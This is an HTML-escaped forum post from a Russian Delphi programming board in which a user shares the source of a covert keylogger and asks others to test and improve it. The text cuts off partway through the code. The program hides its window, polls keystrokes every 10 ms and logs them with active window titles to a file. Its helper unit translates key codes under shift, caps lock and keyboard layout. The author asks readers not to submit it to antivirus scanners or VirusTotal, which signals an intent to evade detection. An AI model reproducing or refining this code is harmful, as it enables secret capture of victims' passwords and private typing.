<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Вдруг какой-то баг я не заметил.&lt;br /&gt;Автор темы: Neo&lt;br /&gt;Автор последнего сообщения: Friz&lt;br /&gt;Количество ответов: 8</description>
<content:encoded>&lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt;Написал недавно этот софт,вроде всё работает!Тестим,пишем как можно улутшить,каспером не сканим,на VT не отсылаем и тд. &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; .Прошу уделить особое внимание смене раскладки клавиатуры. &lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoiler8jZmGM&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoiler8jZmGM&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler8jZmGM&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler8jZmGM&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler8jZmGM&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoiler8jZmGM&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler8jZmGM&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler8jZmGM&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoiler8jZmGM&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt; &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; Program Api; &lt;br /&gt; uses &lt;br /&gt; Windows, Messages,KernalKeyLogger,SysUtils; &lt;br /&gt; const IDTimer1 = 1; &lt;br /&gt; var &lt;br /&gt; window: TWndClassEx; &lt;br /&gt; Mwindow: HWND; &lt;br /&gt; Mmsg: MSG; &lt;br /&gt; IsFileOpen:Boolean; &lt;br /&gt; F:Text; &lt;br /&gt; hWindow,save: THandle; &lt;br /&gt; sText: Array &amp;#91;0..255] Of Char; &lt;br /&gt; sLastCaption:string; &lt;br /&gt; // Процедура обработки сообщений &lt;br /&gt; function WindowProc(wnd: HWND; msg: integer; wparam: WPARAM; lparam: LPARAM&amp;#41;:LRESULT;STDCALL; &lt;br /&gt; begin &lt;br /&gt; case msg of &lt;br /&gt; WM_Destroy: &lt;br /&gt; begin &lt;br /&gt; PostQuitMessage(0&amp;#41;; &lt;br /&gt; Result:=0; &lt;br /&gt; Exit; &lt;br /&gt; end; &lt;br /&gt; else &lt;br /&gt; Result:=DefWindowProc(wnd,msg,wparam,lparam&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; Procedure GetKey; &lt;br /&gt; Var S:string; &lt;br /&gt; begin &lt;br /&gt; s:=&apos;&apos;; &lt;br /&gt; hWindow :=GetForegroundWindow; &lt;br /&gt; GetWindowText(hWindow, sText, 255&amp;#41;; &lt;br /&gt; if (hWindow &lt;&gt; save&amp;#41;and(sText&lt;&gt;&apos;&apos;&amp;#41; then &lt;br /&gt; WriteLn(f,#13+&apos;@@@Активное окно-&apos;+sText+#13#10&amp;#41;; &lt;br /&gt; Write(f,GerKey&amp;#41;; &lt;br /&gt; save:=GetForegroundWindow; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; // Ристрация созданого класса &lt;br /&gt; begin &lt;br /&gt; window.cbSize :=sizeof (window&amp;#41;; &lt;br /&gt; window.style :=CS_HREDRAW or CS_VREDRAW; &lt;br /&gt; window.lpfnWndProc:=@WindowProc; &lt;br /&gt; window.cbClsExtra :=0; &lt;br /&gt; window.cbWndExtra :=0; &lt;br /&gt; window.hInstance :=HInstance; &lt;br /&gt; window.hIcon :=LoadIcon (0,IDI_APPLICATION&amp;#41;; &lt;br /&gt; window.hCursor :=LoadCursor (0,IDC_ARROW&amp;#41;; &lt;br /&gt; window.hbrBackground:=Color_BtnFace+12; &lt;br /&gt; window.lpszMenuName :=nil; &lt;br /&gt; window.lpszClassName:=&apos;Main_Window&apos;; &lt;br /&gt; RegisterClassEx (window&amp;#41;; &lt;br /&gt; // Создание окна на основе созданного класса &lt;br /&gt; Mwindow:=CreateWindowEx(0,&apos;Main_Window&apos;,&apos;&apos;,WS_OVERLAPPEDWINDOW,100,100,300,300,0,0,Hinstance,nil&amp;#41;; &lt;br /&gt; // Показать созданное окно &lt;br /&gt; SHOWWINDOW(Mwindow,SW_Hide&amp;#41;; &lt;br /&gt; // Цикл обработки сообщений &lt;br /&gt; AssignFile(F,&apos;Log.txt&apos;&amp;#41;; &lt;br /&gt; If Not FileExists(&apos;Log.txt&apos;&amp;#41; then &lt;br /&gt; ReWrite(F&amp;#41; else &lt;br /&gt; Append(F&amp;#41;; &lt;br /&gt; SetTimer(MWindow,IDTimer1,10,@GetKey&amp;#41;; &lt;br /&gt; while GetMessage(Mmsg,0,0,0&amp;#41; do &lt;br /&gt; begin &lt;br /&gt; TranslateMessage(Mmsg&amp;#41;; &lt;br /&gt; DispatchMessage(Mmsg&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; KillTimer(MWindow, IDTimer1 &amp;#41;; &lt;br /&gt; Close(F&amp;#41;; &lt;br /&gt; end. &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; &lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt;Модуль KernalKeyLogger: &lt;br /&gt;&lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoiler0uYMTX&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoiler0uYMTX&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler0uYMTX&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler0uYMTX&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler0uYMTX&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoiler0uYMTX&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler0uYMTX&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler0uYMTX&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoiler0uYMTX&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt; &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; unit KernalKeyLogger; &lt;br /&gt; interface &lt;br /&gt; Uses SysUtils,Windows; &lt;br /&gt; Type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sh=string&amp;#91;20]; &lt;br /&gt; Function GerKey:sh; &lt;br /&gt; implementation &lt;br /&gt; function GetCharFromVKey(vkey: Word&amp;#41;: sh; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;keyst : TKeyboardState; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;retcode : Integer; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((vkey =189&amp;#41;or (vkey =187&amp;#41;or(vkey =220&amp;#41;or (vkey=191&amp;#41;&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Win32Check(GetKeyboardState(keyst&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetLength(Result, 2&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;retcode := ToAscii(vkey, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MapVirtualKeyA(vkey, 0&amp;#41;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;keyst, @Result&amp;#91;1],0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case retcode of &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0: Result := &apos;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1: SetLength(Result, 1&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2: ; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;&amp;nbsp;Result := &apos;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; function get_key(vkey: Word&amp;#41;: string; &lt;br /&gt; var &lt;br /&gt; keystate: TKeyboardState; &lt;br /&gt; retcode: Integer; &lt;br /&gt; begin &lt;br /&gt; Win32Check(GetKeyboardState(keystate&amp;#41;&amp;#41;; &lt;br /&gt; SetLength(Result, 2&amp;#41;; &lt;br /&gt; retcode := ToAscii(vkey, &lt;br /&gt; MapVirtualKey(vkey, 0&amp;#41;, &lt;br /&gt; keystate, @Result&amp;#91;1],0&amp;#41;; &lt;br /&gt; case retcode of &lt;br /&gt; 0: Result := &apos;&apos;; &lt;br /&gt; 1: SetLength(Result, 1&amp;#41;; &lt;br /&gt; 2: ; &lt;br /&gt; else &lt;br /&gt; Result := &apos;&apos;; &lt;br /&gt; end; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; function GetKey(J:byte&amp;#41;:Sh; &lt;br /&gt; Var&amp;nbsp;&amp;nbsp;Fs:Sh; &lt;br /&gt; BEGIN &lt;br /&gt; fs:=&apos;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case J of &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//Number 1234567890 Symbol !@#$%^&amp;*(&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;48 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then FS:=&apos;&amp;#41;&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else FS:=&apos;0&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;49 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then FS:=&apos;!&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else FS:=&apos;1&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;50 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then FS:=&apos;&quot;&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else FS:=&apos;2&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;51 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then FS:=&apos;№&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else FS:=&apos;3&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;52 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then FS:=&apos;;&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else FS:=&apos;4&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;53 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then FS:=&apos;%&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else FS:=&apos;5&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;54 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then FS:=&apos;:&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else FS:=&apos;6&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;55 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then FS:=&apos;?&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else FS:=&apos;7&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;56 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then FS:=&apos;*&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else FS:=&apos;8&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;57 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then FS:=&apos;(&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else FS:=&apos;9&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;65..222: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((GetKeyState(VK_CAPITAL&amp;#41;&amp;#41;=1&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BeGiN &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Fs:=AnsiLowerCase(GetCharFromVKey(J&amp;#41;&amp;#41;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Fs:=AnsiUpperCase(GetCharFromVKey(J&amp;#41;&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;EnD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BeGiN&amp;nbsp;&amp;nbsp;&amp;nbsp;//не нажан caps &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Fs:=AnsiUpperCase(GetCharFromVKey(J&amp;#41;&amp;#41;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Fs:=AnsiLowerCase(GetCharFromVKey(J&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ReSult:=Fs; &lt;br /&gt; END; &lt;br /&gt;&lt;br /&gt; FUNCTION Nativ(v:byte&amp;#41;:Sh; &lt;br /&gt; Var Fs:Sh; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case v of &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8&amp;nbsp;&amp;nbsp;: Fs:=&apos;&amp;#91;Backpase]&apos;; //Backspace &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;9&amp;nbsp;&amp;nbsp;: Fs:=&apos;&amp;#91;Tab]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;13 : Fs:=#13#10; //Enter &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{17}162 : Fs:=&apos;&amp;#91;Ctrl111]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;163:Fs:=&apos;&amp;#91;Ctrl222]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;27 : Fs:=&apos;&amp;#91;Esc]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;32 : Fs:=&apos; &apos;; //Space &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// Del,Ins,Home,PageUp,PageDown,End &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;33 : Fs:=&apos;&amp;#91;Page Up]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;34 : Fs:=&apos;&amp;#91;Page Down]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;35 : Fs:=&apos;&amp;#91;End]&apos;; &lt;br 